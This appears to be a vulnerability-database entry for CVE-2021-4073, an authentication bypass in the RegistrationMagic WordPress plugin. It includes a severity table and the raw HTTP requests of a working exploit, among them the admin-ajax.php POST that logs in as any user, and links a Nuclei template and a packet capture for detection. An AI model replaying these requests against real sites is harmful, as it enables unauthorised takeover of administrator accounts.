| Title | RegistrationMagic <= 5.0.1.7 - Authentication Bypass |
|---|---|
| Author | daffainfo |
| Severity | Critical |
| Impact | Unauthenticated attackers can log in as any user, including administrators, potentially leading to full site compromise. |
| Remediation | Update to the latest version of the plugin where the issue is fixed. |
| CVSS Score | 9.8 |
| EPSS Score | 0.57717 |
| CVE ID | CVE-2021-4073 |
| CWE ID | CWE-287 |
| Tags | cve cve2021 wordpress wp wp-plugin metagauss registrationmagic auth-bypass vkev |
RegistrationMagic WordPress plugin versions <= 5.0.1.7 contain an authentication bypass caused by missing identity validation in social_login_using_email(), letting unauthenticated users log in as any site user, exploit requires knowing a valid username.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.19
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Content-Length: 66
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=rm_login_social_user&email=syFwyt@wHjCv.com&security=5RaIve
GET /wp-admin/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-4073.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-4073.pcap
N/AN/A